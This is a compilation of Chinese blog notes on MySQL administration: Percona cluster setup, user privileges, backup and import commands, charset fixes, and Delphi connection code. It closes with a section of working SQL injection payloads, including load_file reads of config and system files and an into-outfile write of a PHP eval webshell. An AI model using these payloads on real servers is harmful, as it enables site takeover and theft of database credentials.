Mysql Cluster快速安装

Mysql-Cluster使用percona可以快速正确的安装.

跟随官方网站的每一个步骤,走一遍基本可以.

http://www.percona.com/doc/percona-xtradb-cluster/5.6/howtos/cenots_howto.html

This tutorial will show how to install the Percona XtraDB Cluster on three CentOS 6.3 servers, using the packages from Percona repositories.

This cluster will be assembled of three servers/nodes:

node #1
hostname: percona1
IP: 192.168.70.71

node #2
hostname: percona2
IP: 192.168.70.72

node #3
hostname: percona3
IP: 192.168.70.73
Prerequisites

All three nodes have a CentOS 6.3 installation.
Firewall has been set up to allow connecting to ports 3306, 4444, 4567 and 4568
SELinux is disabled
Installation

Installation information can be found in the Installing Percona XtraDB Cluster from Binaries guide.

Configuring the nodes

Individual nodes should be configured to be able to bootstrap the cluster. More details about bootstrapping the cluster can be found in the Bootstrapping the cluster guide.

Configuration file /etc/my.cnf for the first node should look like:

[mysqld]

datadir=/var/lib/mysql
user=mysql

# Path to Galera library
wsrep_provider=/usr/lib64/libgalera_smm.so

# Cluster connection URL contains the IPs of node#1, node#2 and node#3
wsrep_cluster_address=gcomm://192.168.70.71,192.168.70.72,192.168.70.73

# In order for Galera to work correctly binlog format should be ROW
binlog_format=ROW

# MyISAM storage engine has only experimental support
default_storage_engine=InnoDB

# This changes how InnoDB autoincrement locks are managed and is a requirement for Galera
innodb_autoinc_lock_mode=2

# Node #1 address
wsrep_node_address=192.168.70.71

# SST method
wsrep_sst_method=xtrabackup-v2

# Cluster name
wsrep_cluster_name=my_centos_cluster

# Authentication for SST method
wsrep_sst_auth=”sstuser:s3cret”
After this, first node can be started with the following command:

[root@percona1 ~]# /etc/init.d/mysql bootstrap-pxc
This command will start the cluster with initial wsrep_cluster_address set to gcomm://. This way the cluster will be bootstrapped and in case the node or MySQL have to be restarted later, there would be no need to change the configuration file.

After the first node has been started, cluster status can be checked by:

mysql> show status like ‘wsrep%’;
+—————————-+————————————–+
| Variable_name | Value |
+—————————-+————————————–+
| wsrep_local_state_uuid | c2883338-834d-11e2-0800-03c9c68e41ec |

| wsrep_local_state | 4 |
| wsrep_local_state_comment | Synced |

| wsrep_cluster_size | 1 |
| wsrep_cluster_status | Primary |
| wsrep_connected | ON |

| wsrep_ready | ON |
+—————————-+————————————–+
40 rows in set (0.01 sec)
This output shows that the cluster has been successfully bootstrapped.

It’s recommended not to leave the empty password for the root account. Password can be changed with:

mysql@percona1> UPDATE mysql.user SET password=PASSWORD(“Passw0rd”) where user=’root’;
mysql@percona1> FLUSH PRIVILEGES;
In order to perform successful State Snapshot Transfer using XtraBackup new user needs to be set up with proper privileges:

mysql@percona1> CREATE USER ‘sstuser’@’localhost’ IDENTIFIED BY ‘s3cret’;
mysql@percona1> GRANT RELOAD, LOCK TABLES, REPLICATION CLIENT ON *.* TO ‘sstuser’@’localhost’;
mysql@percona1> FLUSH PRIVILEGES;
Note MySQL root account can also be used for setting up the SST with Percona XtraBackup, but it’s recommended to use a different (non-root) user for this.
Configuration file /etc/my.cnf on the second node (percona2) should look like this:

[mysqld]

datadir=/var/lib/mysql
user=mysql

# Path to Galera library
wsrep_provider=/usr/lib64/libgalera_smm.so

# Cluster connection URL contains IPs of node#1, node#2 and node#3
wsrep_cluster_address=gcomm://192.168.70.71,192.168.70.72,192.168.70.73

# In order for Galera to work correctly binlog format should be ROW
binlog_format=ROW

# MyISAM storage engine has only experimental support
default_storage_engine=InnoDB

# This changes how InnoDB autoincrement locks are managed and is a requirement for Galera
innodb_autoinc_lock_mode=2

# Node #2 address
wsrep_node_address=192.168.70.72

# Cluster name
wsrep_cluster_name=my_centos_cluster

# SST method
wsrep_sst_method=xtrabackup-v2

#Authentication for SST method
wsrep_sst_auth=”sstuser:s3cret”
Second node can be started with the following command:

[root@percona2 ~]# /etc/init.d/mysql start
After the server has been started it should receive the state snapshot transfer automatically. This means that the second node won’t have the empty root password anymore. In order to connect to the cluster and check the status changed root password from the first node should be used. Cluster status can now be checked on both nodes. This is the example from the second node (percona2):

mysql> show status like ‘wsrep%’;
+—————————-+————————————–+
| Variable_name | Value |
+—————————-+————————————–+
| wsrep_local_state_uuid | c2883338-834d-11e2-0800-03c9c68e41ec |

| wsrep_local_state | 4 |
| wsrep_local_state_comment | Synced |

| wsrep_cluster_size | 2 |
| wsrep_cluster_status | Primary |
| wsrep_connected | ON |

| wsrep_ready | ON |
+—————————-+————————————–+
40 rows in set (0.01 sec)
This output shows that the new node has been successfully added to the cluster.

MySQL configuration file /etc/my.cnf on the third node (percona3) should look like this:

[mysqld]

datadir=/var/lib/mysql
user=mysql

# Path to Galera library
wsrep_provider=/usr/lib64/libgalera_smm.so

# Cluster connection URL contains IPs of node#1, node#2 and node#3
wsrep_cluster_address=gcomm://192.168.70.71,192.168.70.72,192.168.70.73

# In order for Galera to work correctly binlog format should be ROW
binlog_format=ROW

# MyISAM storage engine has only experimental support
default_storage_engine=InnoDB

# This changes how InnoDB autoincrement locks are managed and is a requirement for Galera
innodb_autoinc_lock_mode=2

# Node #3 address
wsrep_node_address=192.168.70.73

# Cluster name
wsrep_cluster_name=my_centos_cluster

# SST method
wsrep_sst_method=xtrabackup-v2

#Authentication for SST method
wsrep_sst_auth=”sstuser:s3cret”
Third node can now be started with the following command:

[root@percona3 ~]# /etc/init.d/mysql start
After the server has been started it should receive the SST same as the second node. Cluster status can now be checked on both nodes. This is the example from the third node (percona3):

mysql> show status like ‘wsrep%’;
+—————————-+————————————–+
| Variable_name | Value |
+—————————-+————————————–+
| wsrep_local_state_uuid | c2883338-834d-11e2-0800-03c9c68e41ec |

| wsrep_local_state | 4 |
| wsrep_local_state_comment | Synced |

| wsrep_cluster_size | 3 |
| wsrep_cluster_status | Primary |
| wsrep_connected | ON |

| wsrep_ready | ON |
+—————————-+————————————–+
40 rows in set (0.01 sec)
This output confirms that the third node has joined the cluster.

Testing the replication

Although the password change from the first node has replicated successfully, this example will show that writing on any node will replicate to the whole cluster. In order to check this, new database will be created on second node and table for that database will be created on the third node.

Creating the new database on the second node:

mysql@percona2> CREATE DATABASE percona;
Query OK, 1 row affected (0.01 sec)
Creating the example table on the third node:

mysql@percona3> USE percona;
Database changed

mysql@percona3> CREATE TABLE example (node_id INT PRIMARY KEY, node_name VARCHAR(30));
Query OK, 0 rows affected (0.05 sec)
Inserting records on the first node:

mysql@percona1> INSERT INTO percona.example VALUES (1, ‘percona1’);
Query OK, 1 row affected (0.02 sec)
Retrieving all the rows from that table on the second node:

mysql@percona2> SELECT * FROM percona.example;
+———+———–+
| node_id | node_name |
+———+———–+
| 1 | percona1 |
+———+———–+
1 row in set (0.00 sec)
This small example shows that all nodes in the cluster are synchronized and working as intended.

若, 想要看到出错日志, 则可以在my.cnf中加上以下两行:
log_error = /data3/mysql/data/mysql-error.log
slow_query_log_file = /data3/mysql/data/mysql-slow.log
其中等号后面的是存放error-log, query-log的绝对路径.
通过查看出错日志,一步步排除错误.

MySQL中授权(grant)和撤销授权(revoke)

授权命令:

grant select,delete on database.table to user@’ip/localhost’ identified by ‘password’

取消授权:

revoke select,delete on database.table to user@’ip/localhost’ identified by ‘password’

注意,revoke只能取消用户的某权利(select,delete,update等),而即使取消掉所有权利,该用户还仍然存在.该用户仍然可以登陆该mysql.

若想要删掉该用户行,或者不让该用户从某一地址登陆,则只能使用delete命令删除掉mysql.user表中对应的行.

命令:

delete from mysql.user where user=’username’ and host = ‘hostip/localhost’;

你懂的.

 

权限变更或者用户变更之后需要立即刷新授权列表,才能生效.

命令:

flush privileges;

 

参阅文章:

http://blog.csdn.net/andy_yf/article/details/7487519

http://leeon.me/a/mysql-delete-authorization

MySQL导入.sql文件及常用命令

MySQL导入.sql文件及常用命令

 

 

在MySQL Qurey   Brower中直接导入*.sql脚本,是不能一次执行多条sql命令的,在mysql中执行sql文件的命令:

mysql> source   d:/myprogram/database/db.sql;

另附mysql常用命令:

一) 连接MYSQL:

格式: mysql -h主机地址 -u用户名 -p用户密码

1、例1:连接到本机上的MYSQL

首先在打开DOS窗口,然后进入mysql安装目录下的bin目录下,例如: D:/mysql/bin,再键入命令mysql -uroot -p,回车后提示你输密码,如果刚安装好MYSQL,超级用户root是没有密码的,故直接回车即可进入到MYSQL中了,MYSQL的提示符是:mysql>

2、例2:连接到远程主机上的MYSQL (远程:IP地址)

假设远程主机的IP为:10.0.0.1,用户名为root,密码为123。则键入以下命令:

mysql -h10.0.0.1 -uroot -p123

(注:u与root可以不用加空格,其它也一样)

3、退出MYSQL命令

exit (回车)

(二) 修改密码:

格式:mysqladmin -u用户名 -p旧密码 password 新密码

1、例1:给root加个密码123。首先在DOS下进入目录C:/mysql/bin,然后键入以下命令:

mysqladmin -uroot -password 123

注:因为开始时root没有密码,所以-p旧密码一项就可以省略了。

2、例2:再将root的密码改为456

mysqladmin -uroot -pab12 password 456

(三) 增加新用户:(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)

格式:grant select on 数据库.* to 用户名@登录主机 identified by “密码”

例1、增加一个用户test1密码为abc,让他可以在任何主机上登录,并对所有数据库有查询、插入、修改、删除的权限。首先用以root用户连入MYSQL,然后键入以下命令:     grant select,insert,update,delete on *.* to test2@localhost identified by “abc”;

如果你不想test2有密码,可以再打一个命令将密码消掉。     grant select,insert,update,delete on mydb.* to test2@localhostidentified by “”;

(四) 显示命令

1、显示数据库列表:

show databases;     刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。

2、显示库中的数据表:

use mysql; //打开库    show tables;

3、显示数据表的结构:

describe 表名;

4、建库:

create database 库名;

5、建表:

use 库名;     create table 表名 (字段设定列表);

6、删库和删表:

drop database 库名;     drop table 表名;

7、将表中记录清空:

delete from 表名;

8、显示表中的记录:

select * from 表名;

导出sql脚本

 

mysqldump -u 用户名 -p 数据库名 > 存放位置

mysqldump -u root -p test > c:/a.sql

 

导入sql脚本

 

mysql -u 用户名 -p 数据库名 < 存放位置

mysqljump -u root -p test < c:/a.sql

 

注意,test数据库必须已经存在

MySQL导出导入命令的用例

1.导出整个数据库

 

mysqldump -u 用户名 -p 数据库名 > 导出的文件名

mysqldump -u wcnc -p smgp_apps_wcnc > wcnc.sql

 

2.导出一个表

 

mysqldump -u 用户名 -p 数据库名表名> 导出的文件名

mysqldump -u wcnc -p smgp_apps_wcnc users> wcnc_users.sql

 

3.导出一个数据库结构

 

mysqldump -u wcnc -p -d –add-drop-table smgp_apps_wcnc >d:wcnc_db.sql

-d 没有数据 –add-drop-table 在每个create语句之前增加一个drop table

 

4.导入数据库

 

常用source 命令

进入mysql数据库控制台,

如mysql -u root -p

mysql>use 数据库

然后使用source命令,后面参数为脚本文件(如这里用到的.sql)

mysql>source d:wcnc_db.sql

【转】Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (latin1_swedish_ci,COERCIBLE)

MYSQL错误:Illegal mix of collations (latin1_swedish_ci,COERCIBLE) and (gbk_chinese_ci,COERCIBLE) for operation ‘=’ 一个解决办法

异常的意思是:字段字符集编码不同,不合法的连接。

用show full columns from tenant;命令查看tenant表各个字段的字符编码。

再用show full columns from employees;命令查看employees表各个字段的字符编码。

发现 tenant中的unitno字段和 employee中的unitno字段的字符编码类型不一致。一个是GBK的,一个是GB2312的。

然后用

ALTER TABLE `tenant` CHANGE `unitno` `unitno` VARCHAR( 32) CHARACTER SET gb2312 COLLATE gb2312_bin NOT NULL

命令修改tenant表中的nuitno字段的字符编码为gb2312类型。保证与整个数据库的字符编码gb2312一致。

或者使用alter table tenant convert to character set gb2312;命令,把整个表的字符编码设为gb2312。

另外,值得注意的是:

[mysql]

default-character-set=gbk 或者 default-character-set=gb2312

还有一个在服务端的 default-character-set=gbk 也要改
然后重起mysql 服务器.

这个方法。本人试了,是不行的。不知道其他的什么情况。

参考文章如下:

1.http://space.itpub.net/7380741/viewspace-50854

最重要的是这个问题:

Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (gb2312_chinese_ci,IMPLICIT) for operation ‘=’

相信有很多人碰到,意思是说字符编码不一样,不能进行比较,也就是说数据库内部的编码都不一样,有的数据是

gbk_chinese_ci,有的数据是gb2312_chinese_ci,因此解决此问题的核心就是将数据库所有的编码进行统一。

进入命令行模式,

如果MySQL数据库已经安装好,可以使用下列SQL命令查看MySQL当前的字符集设置:
mysql> SHOW VARIABLES LIKE ‘character_set_%’;
+————————–+—————————-+
| Variable_name | Value |
+————————–+—————————-+
| character_set_client | latin1 |
| character_set_connection | latin1 |
| character_set_database | latin1 |
| character_set_results | latin1 |
| character_set_server | latin1 |
| character_set_system | utf8 |
| character_sets_dir | /usr/share/mysql/charsets/ |
+————————–+—————————-+
7 rows in set (0.00 sec)

mysql> SHOW VARIABLES LIKE ‘collation_%’;
+———————-+——————-+
| Variable_name | Value |
+———————-+——————-+
| collation_connection | latin1_swedish_ci |
| collation_database | latin1_swedish_ci |
| collation_server | latin1_swedish_ci |
+———————-+——————-+
3 rows in set (0.00 sec)

依次执行:

set character_set_client =gb2312;

set character_set_connection =gb2312;

set character_set_database =gb2312;

set character_set_results =gb2312;

set character_set_server =gb2312;

set character_set_system =gb2312; –此处utf-8也可以

然后执行:

SET collation_server = gb2312_chinese_ci

SET collation_database = gb2312_chinese_ci

SET collation_connection =gb2312_chinese_ci

执行完之后,请检查mysql下每个数据库,表,字段是否都是gb2312,不是则改过来,这样子就不会出现

Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (gb2312_chinese_ci,IMPLICIT) for operation ‘=’这个错误了,网上有资料说要重装,其实根本就不必,改动其编码即可

……………..

2.http://hi.baidu.com/lym0719/blog/item/54f2d43e1be218c77d1e7193.html

1.如果安装mysql的编码已不能更改,很多朋友是购买虚拟主机建立网站,无权更改MYSQL的安装编码,这一关我们可以跳过,因为只要后面的步聚正确,一样能解决乱码问题
2.修改数据库编码,如果是数据库编码不正确: 可以在phpmyadmin 执行如下命令: ALTER DATABASE `test` DEFAULT CHARACTER SET utf8 COLLATE utf8_bin
以上命令就是将test数据库的编码设为utf8
3.修改表的编码:ALTER TABLE `category` DEFAULT CHARACTER SET utf8 COLLATE utf8_bin
以上命令就是将一个表category的编码改为utf8
4.修改字段的编码:
ALTER TABLE `test` CHANGE `dd` `dd` VARCHAR( 45 ) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL
以上命令就是将test表中 dd的字段编码改为utf8
5.如果是这种情况容易解决,只需检查下页面,修改源文件的charset即可
, //这个正确就无问题了
6.这种情况也是修改页面charset即可,
。。。。。。。

3.http://hi.baidu.com/yaolihui/blog/item/cf0ee2c48260efcd38db4945.html

查看 MySQL 数据列(column)的字符集。

mysql> show full columns from countries;

 

命令:

 

SHOW VARIABLES LIKE ‘collation%’;
SHOW VARIABLES LIKE ‘character%’;

SET collation_connection = gbk_chinese_ci;
SET collation_database = gbk_chinese_ci;
SET collation_server = gbk_chinese_ci;

SET character_set_client = gbk;
SET character_set_connection = gbk;
SET character_set_database = gbk;
SET character_set_results = gbk;
SET character_set_server = gbk;
SET character_set_system = gbk;
SHOW FULL COLUMNS FROM tb_user;
ALTER TABLE tb_user CONVERT TO CHARACTER SET gbk;

数据库备份命令

备份MySQL数据库的命令

mysqldump -hhostname -uusername -ppassword databasename > backupfile.sql

备份MySQL数据库为带删除表的格式
备份MySQL数据库为带删除表的格式,能够让该备份覆盖已有数据库而不需要手动删除原有数据库。

mysqldump -–add-drop-table -uusername -ppassword databasename > backupfile.sql

直接将MySQL数据库压缩备份

mysqldump -hhostname -uusername -ppassword databasename | gzip > backupfile.sql.gz

备份MySQL数据库某个(些)表

mysqldump -hhostname -uusername -ppassword databasename specific_table1 specific_table2 > backupfile.sql

同时备份多个MySQL数据库

mysqldump -hhostname -uusername -ppassword –databases databasename1 databasename2 databasename3 > multibackupfile.sql

仅仅备份数据库结构

mysqldump –no-data –databases databasename1 databasename2 databasename3 > structurebackupfile.sql

备份服务器上所有数据库

mysqldump –all-databases > allbackupfile.sql

还原MySQL数据库的命令

mysql -hhostname -uusername -ppassword databasename < backupfile.sql

还原压缩的MySQL数据库

gunzip < backupfile.sql.gz | mysql -uusername -ppassword databasename

将数据库转移到新服务器

mysqldump -uusername -ppassword databasename | mysql –host=*.*.*.* -C databasename

delphi连接数据库-入门级笔记

delphi7

windows xp

连接远程mysql

步骤如下:

1.  添加控件 :

ADO- > ADOConnection            用于连接数据库

ADO -> ADOQuery                     用于执行sql语句

假如 ADOConnection的对象名为: ADOCon,  ADOQuery的对象名为ADOQuery1

右击ADOConnection控件,-> 编辑属性 ->use Connection String ->Build->使用连接字符串 ->编译 ->搜索范围 为 Data Sources(这个是默认) ->新建 ->跳出来一个框框“创建新数据源” ->选择“mySql ODBC 5.1 Driver” -> 下一步 -> 浏览里面填写上 远程mysql的ip地址 ->下一步 ->在蹦出来的界面里面填写上远程数据库的ip地址,端口,用户名,密码,数据库名,然后点击test.. ->确定。就Ok.   经过实际测试上述过程完全可以。

那么这样就形成了Connection String

在主窗口初始化函数中写入如下代码对ADOCon和ADOQuery1进行初始化:

 

 
[delphi]
procedure TForm1.FormCreate(Sender: TObject);
begin
try
ADOConnection1.ConnectionString := ( ‘Provider=MSDASQL.1;’
+’Persist Security Info=False;’
+’Extended Properties="Driver=MySQL ODBC 5.1 Driver;’
+’SERVER=100.170.210.90;’
+’UID=root;’
+’PASSWORD=密码;’
+’DATABASE=数据库名;’
+’PORT=3306;’
+’COLUMN_SIZE_S32=1"’ );
ADOConnection1.Close;
ADOConnection1.Open;
except
APPlication.MessageBox(‘无法连接数据库服务器.’,’Error’,MB_ICONINFORMATION);
end;
ADOQuery1.Close;
// ADOQuery1.SQL.Text := ‘SET NAMES "GB2312";’;
// ADOQuery1.ExecSQL;
// ADOQuery1.Close;
ADOQuery1.SQL.Text := ‘SET character_set_client = GB2312;’;
ADOQuery1.ExecSQL;
ADOQuery1.Close;
ADOQuery1.SQL.Text := ‘SET character_set_results = GB2312;’;
ADOQuery1.ExecSQL;
ADOQuery1.Close;
ADOQuery1.SQL.Text := ‘SET character_set_connection = GB2312;’;
ADOQuery1.ExecSQL;
ADOQuery1.Close;

end;

[/delphi]

mysql语句:SET NAMES UTF8

一直以来只知道mysql_query(“SET NAMES UTF8”);是设定数据库编码的,但是一直不清楚“SET NAMES UTF8”是什么。

直到今天才知道 SET NAMES …是mysql语句。

真的感觉到自己的功课还没做到家,现有知识储备比较匮乏。现将所查相关资料记下:

1、SET NAMES ‘charset_name’

SET NAMES显示客户端发送的SQL语句中使用什么字符集。因此,SET NAMES ‘cp1251’语句告诉服务器将来从这个客户端传来的信息采用字符集cp1251”。它还为服务器发送回客户端的结果指定了字符集。(例如,如果你使用一个SELECT语句,它表示列值使用了什么字符集。)

2、连接字符集和校对

(1) 一些字符集和校对规则系统变量与客户端和服务器的交互有关。

· 服务器字符集和校对规则可以用作character_set_server和collation_server变量的值。

· 默认数据库的字符集和校对规则可以用作character_set_databasecollation_database变量的值。

客户端和服务器的连接处理中涉及字符集和校对规则变量。

每一个客户端有一个连接相关的字符集和校对规则变量。

(2)考虑什么是一个“连接”:它是连接服务器时所作的事情。

客户端发送SQL语句,例如查询,通过连接发送到服务器。

服务器通过连接发送响应给客户端,例如结果集。

对于客户端连接,这样会导致一些关于连接的字符集和 校对规则的问题,这些问题均能够通过系统变量来解决:

(3) 当查询离开客户端后,在查询中使用哪种字符集?

服务器使用character_set_client变量作为客户端发送的查询中使用的字符集。

(4) 服务器接收到查询后应该转换为哪种字符集?

转换时,服务器使用character_set_connectioncollation_connection系统变量。它将客户端发送的查询从character_set_client系统变量转换到character_set_connection(除非字符串文字具有象_latin1或_utf8的引介词)。collation_connection对比较文字字符串是重要的。对于列值的字符串比较,它不重要,因为列具有更高的 校对规则优先级。

(5)服务器发送结果集或返回错误信息到客户端之前应该转换为哪种字符集?

character_set_results变量指示服务器返回查询结果到客户端使用的字符集。包括结果数据,例如列值和结果元数据(如列名)。

 

 

[delphi]
procedure TForm1.FormCreate(Sender: TObject);
begin
try
ADOConnection1.ConnectionString := ( ‘Provider=MSDASQL.1;’
+’Persist Security Info=False;’
+’Extended Properties="Driver=MySQL ODBC 5.1 Driver;’
+’SERVER=108.170.210.90;’
+’UID=root;’
+’PASSWORD=mima;’
+’DATABASE=databasename;’
+’PORT=3306;’
+’COLUMN_SIZE_S32=1"’ );
ADOConnection1.Close;
ADOConnection1.Open;
except
APPlication.MessageBox(‘无法连接数据库服务器.’,’Error’,MB_ICONINFORMATION);
end;
ADOQuery1.Close;
// ADOQuery1.SQL.Text := ‘SET NAMES "GB2312";’;
// ADOQuery1.ExecSQL;
// ADOQuery1.Close;
ADOQuery1.SQL.Text := ‘SET character_set_client = GB2312;’;
ADOQuery1.ExecSQL;
ADOQuery1.Close;
ADOQuery1.SQL.Text := ‘SET character_set_results = GB2312;’;
ADOQuery1.ExecSQL;
ADOQuery1.Close;
ADOQuery1.SQL.Text := ‘SET character_set_connection = GB2312;’;
ADOQuery1.ExecSQL;
ADOQuery1.Close;

end;
[/delphi]

Delphi 7连接MySql

网上有很多关于Delphi连接MySql数据库的文章,在这里,我只记录下自己测试过的方法,以备所需。
系统环境:Windows XP SP3
软件环境:Delphi 7 、mysql-installer-5.5.15.0

1.ODBC方式
必须要先有MySql的ODBC驱动,我下载的是全安装版,包括MySql服务器、各种所支持的连接、工作台、示例数据库、文档,若是无ODBC驱动,可以到官网http://dev.mysql.com/downloads/connector/odbc/下载。
①数据源方式
首先,确认安装了MySql的ODBC驱动,打开“控制面板”→“管理工具”→“数据源”,切换到“驱动程序”页,查看“MySql ODBC 5.1 Driver”,如下图所示:

切换到”系统DSN”→”添加”→”MySql ODBC 5.1 Driver”,如下图所示:

弹出MySql数据源配置,数据源名称随意,TCP/IP Server为数据库地址,User用户名,Password密码,Database连接的数据库,点”Test”进行测试连接,如下图所示:

点击”OK”后,即可看到新增加了一个数据源。打开Delphi 7,在窗体上放置TADOConnection、TADOQuery、TDataSource和TDBGrid,相互之间关联,配置TADOConnection的连接字符串,”提供程序”选择”Microsoft OLE DB Provider for ODBC Drivers”,下一步,选择”使用数据源名称”,下拉选择刚才配置的数据源,其他的不用再填写,测试连接,如下图所示:

在TADOQuery写查询语句,设置Active为True,数据都显示在表格上,如下图所示:

②驱动方式
跟上面一样,先确认安装MySql的ODBC驱动。打开Delphi 7,在窗体上放置TADOConnection、TADOQuery、TDataSource和TDBGrid,相互之间关联,配置TADOConnection的连接字符串,为以下内容:

1 Driver={MySQL ODBC 5.1 Driver}; Server=127.0.0.1; Database=world; User=root; Password=a123; Option=3;

在TADOQuery写查询语句,设置Active为True,数据都显示在表格上,如下图所示:

2.ZeosLib方式
ZeosLib是一个用于Borland开发工具的数据库中间件,包括Delphi、C++ Builder和Kylix。从http://sourceforge.net/projects/zeoslib/files/下载”ZEOSDBO-6.6.6-stable”版本,解压到文件夹。打开Delphi 7,加载工程项目包”…\ZEOSDBO\packages\delphi7\ZeosDbo.bpg”,按顺序编译,或者右键选择”Compile All From Here”,如下图所示:

编译完成后,再选择”ZComponentDesign.bpl”,右键选择”Install”,安装组件成功,弹出如下对话框:

再添加所编译完成的目录,即”…\ZEOSDBO\packages\delphi7\build”,菜单”Tools”→”Environment Options”→”Library”→”Library path”,添加此目录。另外,若需要在编写代码时,能进入ZeosLib源代码的话,需要添加源代码文件夹目录,包括:”…\ZEOSDBO\src\core”、”…\ZEOSDBO\src\parsesql”、”…\ZEOSDBO\src\plain”、”…\ZEOSDBO\src\dbc”和”…\ZEOSDBO\src\component”(注意:会在这些目录下再次编译单元文件)。
新建一个应用程序,在窗体上放置TZConnection、TZQuery、TDataSource和TDBGrid,在窗体创建函数里,写入以下代码:

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
procedure TForm1.FormCreate(Sender: TObject);
begin
//—————互相关联————————
zqry1.Connection := zcon1;
ds1.DataSet := zqry1;
dbgrd1.DataSource := ds1;
//—————设置参数————————
zcon1.Protocol := ‘mysql’;
zcon1.Port := 3306;
zcon1.HostName := ‘127.0.0.1’;
zcon1.User := ‘root’;
zcon1.Password := ‘a123’;
zcon1.Database := ‘world’;
zcon1.Connected := True;
//—————查询显示————————
zqry1.Close;
zqry1.SQL.Text := ‘SELECT * FROM City’;
zqry1.Active := True;
end;

当然手动在设计器上进行设置也可以。因为这里连接的是MySql数据库,需要拷贝MySql数据库客户端所需的DLL(即:libmysql.dll,这里我安装的是在”…\MySQL\MySQL Server 5.5\lib”里面)复制到Windows系统目录(通常是”C:\WINDOWS\system32″)或者工程目录下。程序如下图所示:

当程序发给别人使用时,需要连同”libmysql.dll”一起发送。若是显示的数据有乱码,这是因为MySQl数据库默认使用UTF-8字符集,则先在查询之前,设置字符集,如下代码所示:

1
2
3
4
5
6
7
begin
zqry1.Close;
zqry1.SQL.Text := ‘set names gbk’;
zqry1.ExecSQL;
zqry1.SQL.Text := ‘select * from city’;
zqry1.Active := True;
end;

或者在TZConnection的Properties属性添加”codepage=gbk”。

3.其他方式

另外,还有其他的第三方控件可以连接MySql等其他数据库,如:AnyDAC、MyDAC 、DAC for MySQL等等。

扩展资料:
1.MySQL with Delphi  http://delphi.about.com/od/mysql/MySQL_with_Delphi.htm
2.Zeoslib Portal :: Home http://zeos.firmos.at/
3.使用ZeosDbo元件與MySQL連線及建立Master/Detail資料表 http://cdwalkman.my-php.net/_tech/mysql_ZeosLib_delphi.htm

php/mysql load_file/outfile与多语句注入入侵总结

1.outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成\’,那么基本没的玩了。

唯一的一种可能就是你使用mysql远程连接,然后直接在mysql中执行命令,就没有查询限制了。当然,你要是找到了phpmyadmin,也可以。

2.load_file,后面的路径可以是单引号、0x、char转换的字符。这而记得路径中的斜杠是/而不是\。

一般用load_file来看config.php(即mysql的密码),apache配置、servu密码等。前提是要知道物理路径。

3..load_file可以在union中作为一个字段来用。如union select 1,load_file(‘c:/boot.ini’),3,4 from ka_admin等。

4.load_file可以在where字句中使用。如 and length(load_file(0x633A2F626F6F742E696E69))>1

5.load_file文件的时候,特别是想看exe等含有二进制的00等截断或者回车换行等特殊符号时,可以结合hex函数。如union select 1,hex(load_file(‘c:/windows/notepad.exe’)),3 from xxxx,这样就不会存在截断了,也不会一会断行而截断。自己再用个工具或者几行代码转换回来就是了。

6.outfile一句话(经典):select ‘<?php eval($_POST[cmd])?>’ into outfile ‘D:/PHPnow-1.5.4/htdocs/index2.php’

或者从表中

select * from a into outfile ‘D:/PHPnow-1.5.4/htdocs/index2.php’

7.关于mysql多语句:直接在mysql中,可以同时select中使用update或者insert,但是php注入中就不行,至少我测试的是php的函数mysql_query是不行。

有的注入可以,主要看php中是否设定:$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, 0);   属性